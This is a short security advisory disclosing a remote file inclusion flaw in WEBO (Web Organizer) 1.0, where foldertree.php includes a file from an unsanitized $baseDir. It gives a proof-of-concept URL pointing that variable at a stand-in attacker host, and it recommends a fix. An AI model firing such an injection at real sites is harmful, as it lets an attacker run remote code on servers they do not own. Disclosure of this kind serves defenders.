WEBO (Web Organizer) <= 1.0 (baseDir) RFI

[Ras]

Author         : M.Hasran Addahroni
Web            : [url]http://echo.or.id/adv/adv67-K-159-2007.txt[/url]
Critical Lvl   : Dangerous

Affected software description:
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Application   : WEBO (Web Organizer)
version       : 1.0
Vendor        : [url]http://sourceforge.net/projects/weborganizer/[/url]
Description :

WEBO (Web Organizer) is an open-source Web application suite providing a groupware calendar, a personal address book, a shared contacts directory, and a personal desktop page.

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Vulnerability:
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- Invalid include function at modules/abook/foldertree.php :

---------------foldertree.php--------------------------------------
<?php

/* memento :
   TreeFolder( $label, $url="", $target="", $icon = "", $id="", $options=""  )
   TreeItem( $label, $url, $target="", $icon="", $options=""  )
*/

include_once( "$baseDir/lib/HTML/tree.php");
...
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Variables $baseDir are not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.


Poc/Exploit:
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[url]http://www.target.com/[/url][webo_path]/modules/abook/foldertree.php?baseDir==http://attacker.com/evil?


Solution:
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- Sanitize variable $config_dir on affected files.
- Turn off register_globals

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